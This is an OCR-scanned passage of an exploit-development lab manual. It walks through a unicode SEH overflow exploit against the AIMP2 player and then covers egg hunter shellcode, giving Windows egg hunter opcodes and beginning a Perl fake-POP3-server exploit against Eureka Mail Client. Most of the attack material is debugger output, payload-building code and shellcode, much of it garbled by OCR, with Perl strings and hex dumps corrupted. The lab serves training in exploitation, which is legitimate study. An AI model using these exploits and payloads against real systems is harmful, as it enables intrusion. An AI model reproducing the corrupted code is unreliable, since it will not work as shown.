eax=001¢c0020 ebx=00000000 ecx=000002bc edx=00000c03 esi=001c7d88 «di=00130000
eip=004530cs% esp=0012dcal8 ebp=0012dd64 iopl=D nv up ei pl nz ac pe nc
cs=001b s55=0023 ds=0023 es=0023 £s5=003b gs=0000 . efl1=00210216
AIMP2!SysutilsWideFormatBufSqqrpvulpxvuipxldSystemTVarRecxi+Oxel:

004530ct £366a5 rep movs word ptr es:[edi],word ptr [esi]

! Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

i Missing image name, possible paged-out or corrupt data.

0:000> !exchain
0012fdal: AIMP2!SysutilsWidelLowerCase$qarxl7SystemWideString+c2 (0045000e)
Invalid exception stack at 00640041

0:000> bp 0012£dal

0:000> g

Breakpoint 0 hit

eax=00000000 ebx=00000000 ecx=7c9032a8 edx=7c9032bc esi=00000000 edi=00000000

eip=0012£fdal esp=0012d8ed ebp=0012d%0 iopl=0 nv up ei pl zr na pe nc
cs5=001b =8s=0023 ds=0023 es=0023 £s=003b gs=0000 efl=00200246
<Unloaded papil.dll>+0x12£d8f:

. 0012fdal 41 inc acx

L 0:000> t

Feax=00000000 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000 edi=00000000
eip=0012£fdal esp=0012d8ed ebp=0012d39c0 iopi=0 nv up ei pl nz na pe nc

{cs=001b =s8=0023 ds=0023 es=0023 {s=003b gs5=0000 @f1=00200206
<Unloaded papi.dll>+0x12£d90:

. 0012fdal 006400 add byte ptr [ebpl,ch 55:0023:0012d9c0=05

P 0:000> ¢

| eax=00000000 ebx=00000000 ecx=7c9032a% edx=7¢c9032bc esi=00000000 edi=00000000

{ eip=0012fdad esp=0012dB8ed ebp=0012d9c0 iopl=0 nv up ei pl nz na po nc

- cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202

. <Unloaded papil.dll>+0x12£d493:

L C012fda4d Oe push cs

[ 0:000> ¢

P eax=00000000 ebx=00000000 ecx=7c9032a9% edx=7c%032bc esi=0000C0000 edi=0000C000
eip=0012fda5 esp=0012d8e0 ebp=0012d9%c0 iopl=0 nv up ei pl nz na po nc
cs5=001b ss5=0023 ds=0023 es5=0023 f{s5=003b gs=0000 efl=00200202
<Unloaded papi.dll>+0x12fd%4:
0012£fdasS 004500 add byte ptr [ebpi,al 55:0023:0012d%¢c0=37

“0:000>

T eax=00000000 ebx=00000000 ecx=7c%032a9% edx=7c9032bc esi=000006000 edi=0000C000
eip=0012£fda8 esp=0012d8e0 ebp=0012d%c) iopl=0C nv up ei pl nz na po nc
cs=001b s5s5=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
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 <Unloaded papi.dll>+0x12fd97:
inc

0012fda8 42

0:000> d eip
0012fda8 42 00 42
0012fdb8 42 00 42
0012fdc8 42 00 42

| 0012fdd8 42 0C 42

0012fdeB8 42 00 42

- 0012fdf8 42 0 42

0012fe08 42 00 42

| 0012fel8 42 00 42

ok, so far so good. We’ve made the jump. Now we’ll try to put an address at eax, which points into our B’s.

When looking at the registers, we cannot find any register that can really help us. But if we look at what is on

00
60
¢o
Q0
00
4]
00
00

42
42
42
42
42
42
42
42

a0
0o
00
00
00
Go
06
00

42
42
42
42
42
42
42
42

adx

00-42
00-~-42
0C-42
0C-42
00-42
00-42
00-42
00-42

G0
4o
00
00
00
00
00
00

the stack at this point (at esp), we can see this :

1 0:000> d esp
0012d8e0 1b 00 12

S 0012d8f0 be 32 90

100124906 <0 d% 12
1,0012a910 Oe 00 45
. 00124920 0f aa 92
1 0012d930 94 d9 12

. 0012d%40 88 7d lc

100124950 37 00 00

£0:000> d 0012001b

1 0012001b 2?2 22 27
21 0012002b 7 2 77
1 0012003b 22 2?7 7?7
1 0012004b 2?2 22 22
{1 0012005 2y v 7R

| 0012006b 2?2 2?2 27
1 0012007k ?? ?? 22

10012008 2?7 2?7 22
11 0:000> d 0012d9de

0012d9%dc  3f 00 01
0012d%ec 00 00 0O
0012d%fc 00 30 f£f

. 0012dalc 28 ad 38

. 00l2dalc 06 00 00

;- 0012da2c  0C 00 00
. 0012da3c  2¢c 00 00
i 0012dad4c 00 da 35

©0:000> d 0012d%94

220012d994 £f ff ff
(. 0012d%a4 08 06 15
- 0012d%b4  dc d9 12

0012d%c4 00 00 00

00124944 01 00 00
- 0012d9%4 00 00 00

. 001z2def4 Q0 OC 00

;0 0012£db0

1 0012dad4 20 53 84
| 0:000> 4 0012fda0

41 00 od
42 00 42

0012fdab

0o
e
00
00
7c
00
00
00

77
72
7?7
77
?7
?7?
7?7
7?7

o]
co
ff
o0
0c
00
00
40

£f
00
0c
Q0
00
00
00
74

0o
00

dc
al
al
00
c{
Ce
10
8¢

77
27
27
77
27
27
?7
?7

oo
00
£f
23
oc
00
20
86

00
64
cl
a0
00
00
72
ib

Oe
az

d9
£d
£d
a0
dg
00
2d
20

?7
77
27
?7?
??
??
?7?
??

00
0]
ff
6o
00
00
24
74

00
dd
dg
00
00
00
12
00

00
6o

12
12
12
13
12
45
1k
0o

77
29
29
27
22
272
27
272

00
00
ff
ff
00
£8
dg
b8

00
12
iz
00
13
00
£f
Sb

45
4z

00-64
00-a8
00-de
00-c0
00-a0
C0-00
00-47
00-28

272-77
22-77
22222
22-77?
22-22
27477
22-77
P77

00-00
00-00
f£-20
££-00
00-00
53-6b
80-0C0
eb-el

00-00
00-8a
00-dc
00~-co
00-3f
00-00
f£-00
05-28

00-42
00-42

a9
d9
ds
a9
fd
00
00
73

72
27
22
77
27
272
27
27

00
G0
53
00
00
be
00
ds

00
24
ds
30
00
00
30
ad

0o
60

42
42
42
42
42
42
42
42

12
12
12
12
iz
13
oo
19

?7?
77
??
?7?
??
272
?7?
?7?

00
00
84
00
00
80
00
de

13
90
12
45
01
Co
ff
38

42
42

00
00
00
00
ao
gy
0o
00

oc
a0
00
00
¢o
00
00
00

?7?
7?7
77
77
77
?7?
77
77

00
00
74
09
090
£f
40
dz

iy
Tc
00
00
G0
6o
£f
00

00
00

42
4z
42
42
42
4z
42
42

al
Ta
24
ao
de
c0
Q0
00

?7?
??
77
77
??
?7
7?7
7?7

00
72
1k
co
00
12
00
3a

GO0
00
37
0z
0GC
0c
£t
23

42
42

00
00
00
00
00
0o
0o
00

fa
32
da%
fd
a9
d9
00
00

2?7
7
27
77
27
?7
27
??

00
12
00
00
00
00
de
40

10
a0
00
]
00
0o
£f
00

00
00

42
4z
42
4z
42
42
42
42

12

80 7

iz
12
12
12
15
00

?7
7
?7?
?7
27
?7
7?7
7?7

00
£t
5k
00
00
0o
0o
0¢

12
go
00
00
00
oo
£f
il

42
42

(124]
00
00
00
00
00
0c
00

27
22
27
2?2
272
27
27
2?2

00
fr
05
00
00
ao
cZ
00

00
00

T wwwwwmm
Ty Ew

DU EEEEw
T worww
Wb e D
SRR E SR
i o b o e
wEEEE e

A.m,,.H.
B.B.B.B
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0012fdcO 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00

B.B.BE.B.BE.B.B.B.
0G12£ddC 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0Cl2fdeC 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.RB.B.
Q012£d4df0 42 00 42 00 42 00 42 00-42 00 42 00 42 0G0 42 00 B.RB.B.B.B.B.B.B.
0012£e00 472 G0 42 00 42 00 42 00-42 00 42 D0 42 00 42 00 B.R.B.B.E.B.B.B.

B.B.B.B.B.B.B.B.

- Q012fe10 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00

The 4th address brings us close to our B’s. So what we need to do 1s put the 4th address in eax, and increase it
just a little, so it points to a location where we can put our shellcode.

Getting the 4th address is as simple as doing 4 pop’s in a row. So if you would do pop eax, pop eax, pop eax,
pop eax, then the last “pop eax” will take the 4th address from esp. In venetian shellcode, this would be :

rmy Salign = " “; #pop eax

i salign=%align." ";
: Salign=Salign." ";  #pop eax
| Salign=S$align." "y
{ $align=$align." " dpop eax
! Salign=Salign." "
! S3align=Salign." "y #oop eax
§$align=Salign." ";

We’ll increase eax just a little. The smallest amount we can add easily i1s 100, which can be done using the
following code :

#now increase the address in eax so it would point to our buffer

; Salign = Salign." Y3 fadd eax,11000200
{ Salign=Salign." " falign/nop

! salign=$align." ", #sub eax, 11000100

| salign=$align."™ - "; #align/nop

Finally, we’ll need to jump to eax :

gmy Siump = " ";  d#push eax

gsjump=$jump." "; #nop/align
S Siump=$jump.” o "7 dret

After the jump, we’ll put B’s. Let’s see if we can jump to the B’s :

Code :
my Sheader = " "
: Sheader=Sheader.” "y
my $junk=" " x 4065;
. my $seh=" "; # inc ecx + add byte ptr [ebp],ch
my $nseh=" ";  #00450C0E aimpZz.dll
#good stuff on the stack, we need 4th address
my $align = " v, #opop eax
$align=Salign." ";
$align=%$align." ", #pop eax
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$align=%align." ;

$align=$%align." ";  #pop eax
$align=$%align.” "
- Salign=S$align." ": o fpop eax
: $align=%align." "
fnow increase the address in eax so it would point to our buffer
- $align = $Salign." " #add eax, 11000200
" Salign=%$align." " talign/nop
- Salign=$%align.” "; faub eax, 11000100
© Salign=$align." " falign/nop
#ijump to eax now
Py Siump = ";  #push eax
S S3ump=S$jump . " ":; #nop/align
o $jump=$jump. " " dret

| #put in 1000 Bs
x 1000;

iémy Srest="
0omy Spayload=S$header.$junk.$seh.$nseh.Salign.S$junp.Srest . " ;

"

open{myfile, '>aimp2sploit.pls’);

print myfile $pavload;

print "

length ($payload) . " L

Result :

eax=0012fdal ebx=00000000 ecx=7c9032a9 edx=7¢9032bc esi=00000000 eadi=00000000

elp=0012£db8 esp=0012d8£f0 ebp=0012d9c0 iopl=0 nv up ei ng nz na pe nc
cs=001b ss5=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200286
f <Unloaded papil.dll>+0x12fda7:
' 0012fdb& 0500020011 add eax, offset bass+0x200 {11000200)
: 0:000>
L eax=1112ffal ebx=00000000 ecx=7c9032a% edx=7c9032bc esi=00000000 edi=00000000
elp=0012£fdbd esp=0012d8f0 ebp=0012d%cO iopl=0 nv up ei pl nz na pe nc
i ¢cs=001b ss5=0023 ds=0023 es=0023 £fs=003b gs=0000 efl=002002086
. <Unlcaded papi.dli>+0xl2fdac:
0012fdbd 006400 add byte ptr [ebpl,ch 55:0023:0012d9¢c0=ff
i 0:000>
i eax=1112ffa0 ebx=0000000C ecx=7c9032a29 edx=7¢%032bc esi=00000000 edi=00000000
i eip=0012fdc0 esp=0012d8f0 ebp=0012d9c0 iopl=0 nv up ei pl nz ac po cy
L es=001b 8s=0023 ds=0023 es=0023 £s5=003b gs=0000 efl1=00200213
‘I <Unloaded papi.dil>+0xl12fdaf:
? 0012fdcd 2400010011 sub eax,offset bass+0x100 (110001C0)
2 0:000>
i eax=0012feal ebx=00000000 ecx=7c9032a9% edx=7c9032bc esi=00000000 edi=00000000
1 eip=0012fdch5 esp=0012d8f0 ebp=0012d9¢c0 iopl=0 nv up ei pl nz na pe nc
:ce=001b s5=0023 ds=0023 es=0023 f£s=003b gs=0000 efl1=00200206
' <Unloaded papi.dll>+0x12fdbd:
1 0012fdc5 008d00 add byte ptr [ebpl,ch 55:0023:0012d9¢0=31

0:000> d eax

©: 0012feald 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.

0012feb0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.RB.

" 0012fecO 42 00 42 0C 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.

- 0012fedC 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.

i; 0012fesC 42 00 42 00 42 00 42 00-42 00 42 00 42 909G 42 00 RB.B.B.B.B.B.R.B.
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C012faf0 42 0C 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.BR.B.B.B.B.B.B.
CO12££00 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
QOL2££10 42 00 42 CO 42 00 42 00-42 00 42 0C 42 00 42 00 B.B.B.B.B.B.B.B

0:000> ¢

eax=0012feal ebx=00000000 ecx=7c8032a% edx=7c9032bc esi=00000000 edi=0000C000
Ceip=0012fdc8 esp=0012d8f0 ebp=0012d3c0 iopl=0 nv up ei pl nz na pe nc
es=001b ss=0023 ds=0023 es=0023 f£s=003b gs=0000 efl1=00200206
" <Unloaded papi.dllr+CGxl2fdb7:
. 0012fde8 50 push eax
F0:000> t '
- eax=0012feal ebx=00000000 ecx=7c9%032a9 edx=7c9032bc esi=00000C00 edi=00000000
f eip=0012fdc9 esp=0012d8ec ebp=0012d9c0 iopl=0 nv up ei pl nz na pe nc
P es=001lb  ss=0023 ds=0023 es=0023 f£s=003b gs=0000 efl=00200206
! <Unlcaded papi.dlil>+0x12fdb8:
1 0012fdc9 006200 add byte ptr [ebp],ch $8:0023:0012d%¢c0=63
P 0:000> ¢
{ eax=0012feal ebx=00000000 ecx=7¢9032a9 edx=7c9032bc es5i=0000000C di=00000000
D eip=0012fdcc esp=0012d8ec ebp=0012d9c0 iopl=0 OV up i ng nz na pe ne

ﬁ cs=001lb ss5=0023 ds=0023 es=0023 £s5=003b gs=0000 efl=00200a86
. <Unloaded_papil.dll>+0x12fdbb:

. 0012fdcc c3 ret

£ 0:000> t

P aeax=0012feal ebx=00000000 ecx=7c8032a% edx=7c9032bc es5i=00000000 edi=00000000
eip=0012feal esp=0012d48f0 ebp=0012d%c0 iopl=0 ov up el ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 £fs=003k gs=0000 efl=00200a86
<Unloaded papi.dli>+0x12fe8f:

0012feal 42 inc edx

Ok, we got eax to point at cur B’s, and we have made a succesful jump. Now we need to place our shellcode at
0x0012feald. We can do this by adding some padding between the jump and the begin of the shellcode. After
doing a little bit of math, we can calculate that we need 105 bytes.

Code :
my Sheader = " vy
! Sheader=Sheader." "
imy S$junk="'*" x 4065;
my Sseh=" .. . "; # inc ecx + add byte ptr {ebp],ch
my Snseh=" - "; #CO045000E aimp2.dll
fgood stuff on the stack, we need 4th address
cmy Salign = " "; #pop eax
! 3align=S%align." "
%Salignjsalign.“ “; #pop eax
S Salign=S$align." *;
© Salign=S%align." " #pop eax
‘Salign=S%align." i
P Salign=S%align." ":  #pop eax

: Salign=$align. ;

#now increase the address in eax so it would point to ocur buffer

© Salign = $Salign.” " ffadd eax, 11000200
" Salign=$align.” " #align/nop

$align=%align." " fsub eax, 11000100
" Salign=Salign." " ¥align/nop
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C #jump to eax now

my Sjump = " " #push eax
Sjump=5$jump." "; fnop/align
CSiump=3$jump. ™ " #ret

#add some padding
my $padding=" " x 105;

i feax points at shellcode

" my $shellcode="

i fmore stuff

: my Srest=" " x 1000;
| my Spayload=Sheader.$junk.$seh.$nseh.Salign.$jump.Spadding. $shellcode. $rest." ;

- open (myfile, 'raimp2sploit.pls);

opring myfile $payload;

Cprint " "o, dength (Spayload) . " ;
iéclose{myfile};

Result (using some breakpoints, we look at eax just before the call to eax is made) :

0:000> d eax

J012feal 50 CC 50 00 5% 00 41 00-49 00 41 00 49 00 41 00 P.P.Y.A.WE.A.WE.A.
0012feb0d 49 0C 41 00 4% 00 41 CO-51 00 41 00 54 00 41 00 WE.A.WE.A.Q.A.T.A.
0012fecO 58 0C 41 0C 5a 00 41 00-50 00 4! 00 33 00 51 00 X.A.Z.A.P.A.3.0Q.
0012fedl 41 00 44 00 41 00 bSa 00-41 00 42 00 41 00 52 C0 A.D.A.Z.A.B.A.R.
001Z2feel0 41 00 4c 0D 41 00 59 00-41 00 49 00 41 €0 51 00 A.L.A.Y.A.WE.A.Q
CO0l2fefG 41 00 49 GO 41 00 51 00-41 00 50 06 41 00 35 00 A.WE.A.Q.A.P.A.5

I 0012£F00 41 00 41 00 41 0C 50 00-41 00 5a 00 31 00 41 00 AAAP.A.Z.L.A.

E 0012££10 49 0C 31 00 41 00 49 00-41 00 49 00 41 00 4a 00 WE.l.A.WE.A.WE.A.J.

L 0:000> d

"L 0012££20 31 00 31 00 41 00 49 00-41 00 49 00 41 00 58 00 1.1.A.WE.A.WE.A.X.

F 0012££30 41 00 35 00 38 GO 41 00-41 00 50 00 41 00 5a 00 A.S.8.A.A.P.A.Z.

ﬂ 0012££40 41 00 42 00 41 00 42 00-51 00 49 G0 31 00 41 00 A.B.A.B.Q.WE.1.A.

' 6012££50 49 00 51 CO 49 0O 41 00-4% 00 51 00 49 00 31 00 WE.Q.WE.A.WE.Q.WE.1

" 0012££60 31 00 31 00 31 00 41 00-49 00 41 00 4a 00 %1 00 1.1.1.A.WE.A.J.Q

c 0012££70 49 00 31 OC 41 00 5% 00-41 00 5a 00 42 00 41 00 WE.1.A.Y.A.Z.B.A

- 0012f£80 42 00 41 00 42 00 41 00-42 GO0 41 00 42 00 33 00 BR.A.B.A.B.A.B.3.

U 0012££90 30 00 41 00 50 00 42 G0-39 00 34 00 34 00 4a 00 O.A.P.B.9.4.4.J.
0:000> d

;0 0012£fa0 42 00 4b 00 4c 00 4b 00-38 00 355 00 29 00 4d 00 B.K.L.K.8.U.9.M.

i 0012€fb0 30 00 44 00 30 0C 4b 00-5%0 00 S3 C0 30 GO0 55 G0 O0.M.0.K.P.S.0.U.
CO012ffcl 39 00 3% 00 55 0C 4e 00-%1 00 38 00 52 00 53 00 9.9.U.N.Q.8.R.S.

- 0012££d0 34 00 34 0C 4b 00 50 00-532 CO 30 00 30 00 34 00 4.4.XK.P.R.0.0.4.

? 0012ffe0 4p 00 32 00 32 00 4c 00-4c 00 44 00 4b 00 52 00 K.2.2.L.L.D.K.R.
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0012F£F0
- 00130000
- 00130010

This seems to be ok... or not ? Look closer... It looks like our shellcode is too big. We attempted to write
beyond 00130000 and that cuts off our shellcode. So it looks like we cannot place our shellcode after
overwriting the SEH record. The shellcode is too big (or our available buffer space is too small}
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Lab #6
Writing Multi-Stage Egg Hunter Shellcode
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Introduction

In previous labs, we have mentioned various techniques to jump to shellcode, including techniques that would
use one or more trampolines to get to the shellcode. In every example that was used to demonstrate this, the
size of the available memory space on the stack was big enough to fit our entire shellcode.

What if the available buffer size is too small to squeeze the entire shellcode into ? Well, a technique called egg
hunting may help us out here. Egg hunting is a technique that can be categorized as “staged shellcode”, and it

- basically allows you to use a small amount of custom shellcode to find your actual (bigger) shellcode (the
“egg”) by searching for the final shellcode in memory. In other words, first a small amount of code 1s executed,
which then tries to find the real shellcode and executes it.

There are three conditions that are important in order for this technique to work

1. You must be able to jump to (jmp, call, push/ret) & execute “some” shellcode. The amount of available
buffer space can be relatively small, because it will only contain the so-called “egg hunter”. The egg hunter
code must be available in a predictable location {(so you can reliably jump to it & execute if)

2. The final shellcode must be available somewhere in memory (stack/heap/...}.

3. You must “tag” or prepend the final shellcode with a unique string/marker/tag. The mitial shellcode (the
small “egg hunter”) will step through memory, looking for this marker. When it finds it, 1t will start executing
the code that is placed right after the marker using a jmp or call instruction. This means that you will have to
define the marker in the egg hunter code, and also write it just in front of the actual shellcode.

Searching memory is quite processor intenstve and can take a while. So when using an egg hunter, you will

notice that for a moment (while memory is searched) all CPU memory is taken. It can take a while before the
shellcode is executed. (imagine you are attacking a server with 64GB or RAM)

History & Basic Techniques

Only a small number of manuals have been written on this subject : Skape wrote this excellent paper:
http://www.hick org/code/skape/papers/egghunt-shellcode.pdf.

Skape’s document really is the best reference on egg hunting that can be found on the internet. [t contains a
number of techniques and examples for Linux and Windows, and clearly explains how egg hunting works, and
how memory can be searched in a safe way.

We are not going to repeat the technical details behind egg hunting here, because skape’s document 1s well
detailed and speaks for itself. We will just use a couple of examples on how to implement them in stack based

overflows.
You just have to remember :

- The marker needs to be unique {Usually you need to define the tag as 4 bytes inside the egg hunter, and 2
times (2 times right after each other, so 8 bytes) prepended to the actual shellcode.
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i

. my $egghunter =

- You’ll have to test which technique to search memory works for a particular exploit.
(NTAccessCheckAndAuditAlarm seems to work best on our XP SP3 system)

- Each technique requires a given number of available space to host the egg hunter code: The SEH technique
uses about 60 bytes, the IsBadReadPtr requires 37 bytes, the NtDisplayString method uses 32 bytes

Ego hunter code

As explained above, there are three different egg hunting techniques for Windows based exploits.
The decision to use a particular egg hunter is based on:
- Available buffer size to run the egg hunter

- Whether a certain technique for searching through memory works on your machine or for a given exploit or
not. You just need to test.

Egg hunter using SEH injection
Egg hunter size = 60 bytes, Egg size = 8 bytes

EBZ1 jmp short Ox23

‘158 pop ecx
§8890509050 mov eax,0x50805090 ; this is the tag
T 51 push ecx
| GAFF push byte -0x1
1 23DB xor ebx,ebx
1648923 mov [fs:ebx),esp

| BAD2 push byte +0x2
159 pop ecx
: BBFB mov edi, ebx
i F3AF repe scasd

7507 jnz 0x20

FFE7 jmp edi

BES81CRBEFOF or bx,0xfff

43 inc ebx

EBED jmp short 0x10

EB8DAFFFFFF call 0x2

6A0C push byte +0xc¢

59 PoOp ecx

8R040C mov eax, [esp+ecx]
: B1BR§ mov cl, 0xb8
§§83040806 add dword [eax+tecx],byte +0x6
.l 58 pop eax
© 83C410 add esp,byte+0xl10
.50 push eax

33C0 XOr eax,eax

3 ret

In order to use this egg hunter, your egg hunter payload must look like this :
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(where w00t 1s the tag. You could write w00t as "\x77\x30%30\x 74" as well)

Note : the SEH injection technique will probably become obsolete, as SafeSeh mechanisms are becoming the de
facto standard in newer OS’s and Service Packs. So if you need to use an egg hunter on XP SP3, Vista, Win7. ..,
you’ll either have to bypass safeseh one way or another, or use a different egg hunter technique (see below)

Egg hunter using IsBadReadPtr

Egg hunter size = 37 bytes, Egg size = § bytes

} 33DB xor ebx, ebx

. 6681CBFFOF or bx,0xfff
43 inc ebx
. 6A08 push byte +0x8
053 push ebx
i BBOD5BE777 mov eax, 0x77e75b0d
L FEDO call eax
§ 85C0 test eax, eax
i 75EC nz 0x2
! BBOOB0O050 mov eax, 0x50905090 ; this is the tag
% 8RFB mov edi,ebx
j AF scasd
- 75E7 jnz 0x7
¢ AF scasd
L 15E4 Gnz0x7
: FFE7 jnp edi
Egg hunter payload :

§ my $egghunter = " .- ",

o :

Egg hunter using NtDisplayString
Egg hunter size = 32 bytes, Egg size = 8§ bytes

6681CAFFOF or dx,C0x0fff

42 inc edx
52 push edx
6R43 push byte +0x43
58 Dop eax
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CDZE int 0x2e

3C05 cmp al, 0x5
5a pop edx
T4EF jz 0x0
B890LCY050 mov eax,0x50805080 ; this is the tag
8BFA mov edi,edx
AF scasd
75EA inz 0x5
AF scasd
T5R7 jnz 0x5
- FFE7 jmp edi

Egg hunter payload :

.y Segghunter =

Egg hunter using NtAccessCheck (AndAuditAlarm)

Another egg hunter that is very similar to the NtDisplayString hunter is this one :

my Segghunter =
" : x02 ",
" “. # this is the marker/tag: wi0t

L1} LI
’

Instead of using NtDisplayString, it uses NtAccessCheckAndAuditAlarm (offset 0x02 in the KiServiceTable) to
prevent access violations from taking over your egg hunter. More info about NtAccessCheck can be found here:
http://undocumented.rawol.com/sbs-w2k-5-monitoring-native-api-calls.pdf and here:
http://xosmos.net/txt/nativapi.html.
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Brief explanation on how NtDisplayString / NtAccessCheckAndAuditAlarm egg hunters work

These two egg hunters use a similar technique, but use a different syscall to check if an access violation has

occurred or not (and survive the access violation)

NtDisplayString prototype :

NtDisplayString(
IN PUNICODE STRING String };

NtAccessCheckAndAuditAlarm prototype :

NtAccessCheckAndhuditAlarm(
IN PUNICODE_STRING SubsystemName OPTIONAL,
IN HANDLE ObjectHandle OPTIONAL,
IN PUNICODE STRING ObjectTypeName OPTIONAL,
IN PUNICODE"_STRING ObjectName OPTIONAL,
IN PSECURITY DESCRIPTOR SecurityDescriptor,
IN ACCESS _MASK DesiredAccess,
IN PGEI‘JERICMP-H-‘.PPLTG GenericMapping,
IN BOCLEAN ObijectCreation,
OUT PULONG GrantedAccess,
QUT PULONG AccessStatus,
QUT PBOOLEAN GenerateOnClose });

(prototypes found at http://undocumented.ntinternals.net/)

This is what the hunter code does :

: 6681CAFFOF  or dx,0x0fEf i

get last address in page

42

T5E7

inc edx ; acts as a counter
‘ ; (increments the value in EDX)
Y push edx ; pushes edx value to the stack
f ; {saves our current address on the stack}
| 6A43 push byte +0x2 ; push 0x2 for NtAccessCheckAndAuditAlarm
: ; or 0x43 for NtDisplayString to stack
‘58 pPOp eax ; pop 0Ox2 or Ox43 into eax
' ; so it can be used as parameter
. ; to syscall -~ see next
S CD2E int 0xZ2e ; tell the kernel we want a do a
' ; syscall using previous register
3¢C05 cmp al,0x5 ; check if access violation occurs
; {0xc0000005== ACCESS VIOLATION} 5
5A pop edx ; restore edx
TAEF je XxXXX ; Jmp back to start dx Gx0fffff
B890509050 mov eax,0x50205090 ; this is the tag (egg)
8BRFA mov edi,edx ; set edi to our pointer
AF scasd ; compare for status
75EA jnz XXAAKX ; (back to inc edx) check egg fcound or nct
AF scasd ; when egg has been found
jnz XXAXKX ; {jump back to "inc edx")
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. ; 1f only the first egg was found
FFET jmp edi ; edi points to begin of the shellcode

Implementing the ege hunter — All vour w00¢ are belong to us !

In order to demonstrate how it works, we will use a vulnerability in Eureka Mail Client v2.2q. You will find a
copy of the program in the “vulnerable programs to exploit” folder on the desktop of your VM. Install it now.
We'll configure it later on.

This vulnerability gets triggered when a client connects to a POP3 server. If the POP3 server sends long and
specifically crafted “-ERR™ data back to the Eureka client, the client crashes and arbitrary code can be

executed.
Let’s build the exploit from scratch on XP SP3 English.

We'll use some simple lines of perl code to set up a fake POP3 server and send a string of 2000 bytes back
generated by the metasploit pattern tool.

First of all, locate the pvefindaddr plugin for Immunity Debugger if you haven’t done so in previous labs. It
should be on the desktop of your XP VM. Put the plugin in the pycommands folder of Immunity and launch
Immunity Debugger.

Create a metasplott pattern of 2000 characters from within Immunity using the following command :

ﬂ !pvefindaddr pattern create 2000

Ip

veilndad_d_r pattern_create 21}&8 | _ _ | _ |

In the Immunity Debugger application folder, a file called mspattern.txt is now created, containing the 2000
character Metasploit pattern.

£7 Ineterdy Dirkealer
Sy My Recert Documerts
4 Duibleg

L) My Deerrmnrss

St LA D3 1)
3 Piogrya Fies
0y 1wy T2

4 Viruslion Gusd Addions (0§
“o i e “homry’ £

SOIF TR R T e T e

Open the file and copy the string to the clipboard.
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Now create your exploit perl script and use the 2000 characters as payload (in $junk)

uee Socket;
#Metaspleit pattern”
my $junk = " “; #paste your 2000 bytes pattern here

my Spavload=$junk;

#set up listener on port 110

my Sport=110;

my $proto=getprotohyname {('tep');

socket (SERVER, PF_INET, SOCK _STREAM, Sproto);

my $paddr=sockaddr in{$port, INADDR ANY);

ind (SERVER, Spaddr) ;

. Listen (SERVER, SOMAXCONN) ;

Cprint " o : ;
D pring " "y
Cmy $client_addr;

; while ($client addr=accept (CLIENT, SERVER))

o

" LLE

rint :
while (1)
{
print CLIENT " ", $payload." ";
print ".laength ($payload) ." ",

f !
D)
i close CLIENT;

n 1"

Cpring ;

Notes :

- Don’t use 2000 A’s or so — it’s important for the sake of this lab to use a Metasploit pattern... Later in this lab,
it will become clear why this 1s important.

- I 2000 characters does not trigger the overflow/crash, try using a Metasploit pattern of 5000 chars instead

- We used a while(1) loop because the client does not crash after the first -ERR payload. We know, it may look
better if you would figure out how many iterations are really needed to crash the client.

Run this perl script. It should say something like this :
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Now launch Eureka Mail Client. Go to “Options” ~ “Connection Settings” and fill in the IP address of the host
that is running the perl script as POP3 server. In my example, we are running the fake perl POP3 server on
192.168.0.193 so the configuration looks like this :

Settings for Server oole 1

=T a—

liézéaéﬂ 183

You’ll have to enter something under POP Username & Password, but it can be anything. Save the settings.

. Now attach Immunity Debugger to Fureka Email and let it run.
™

When the client is running (with Immunity Attached), go back to Eureka Mail Client, go to “File” and choose
“Send and receive emails”

The application dies. You can stop the perl script (it will still be running ~ endless loop remember).
Look at the Immunity Debugger Log and registers : “Access violation when executing [37784136]”

Registers look like this :
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FLOLERED mnddl 1, FUSLIGRED

aG14g

03120
8812¢

Now run the following command :
;!pvefindaddr suggest

Now it will become clear why we used a Metasploit pattern and not just 2000 A’s. Upon running the
Ipvefindaddr suggest command, this plugin will evaluate the crash, look for Metasploit references, tries to find
offsets, tries to tell what kind of exploit it is, and even tries to build example payload with the correct offsets :

wikh
fait o
tloit pat

to find an addeoss

ioit-we iring-tutor isl-part-t-<

Ipvefindaddr sugge st

Life is good :-}
So now we know that :

- It’s a direct RET overwrite. RET 1s overwritten after 710 bytes. We did notice that, depending on the length of
the IP address or hostname that was used to reference the POP3 server in Eureka Email (under connection
settings), the offset to overwrite RET may vary. So if you use 127.0.0.1 (which is 4 bytes shorter than
192.168.0.193), the offset will be 714). There is a way to make the exploit generic. First, get the length of the
focal IP (because that is where the Eureka Mail Client will connect to) and calculate the offset size based on the
length of the IP. (723 —length of IP)

- Both ESP and EDI contain a reference to the shellcode. ESP after 714 bytes and ESP 991 bytes. (again,
modify offsets according to what you find on your own system)
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So far so good. We could jump to EDI or to ESP.

ESP points to an address on the stack (0x0012cd6c) and EDI poiats to an address in the .data section of the
application (000473678 — see memory map).

QES5006D ' : |er | R
Bazen : : | PriviRE

2 FriviRi
gasFag DESeaa: Priv) Bl
234500600 3HA eka E! {PE heads: ImagiR
ag4gipan . epok : : e ImagiR E
gg4anvaay ! [ ¥
23459000 ERO26009; Eurek:

BA47FRBR0 20137003 Eurg
GO5CaRe0 0o0E66RA:

Of course, you could jump to ESP, and write jumpback code at ESP so you could use a large part of the buffer
before overwriting RET. But you will still only have something like 700 bytes of space. This is enough space to
spawn calc and utilize other basic shellcode.

Jumping to EDI may work too. Use the “!pvefindaddr j edi’ to find all “jump edi” trampolines. Note that all
addresses are written to file j.txt. We’ll use 0x7E47B533 (from user32.dll on XP SP3). Change the script & test
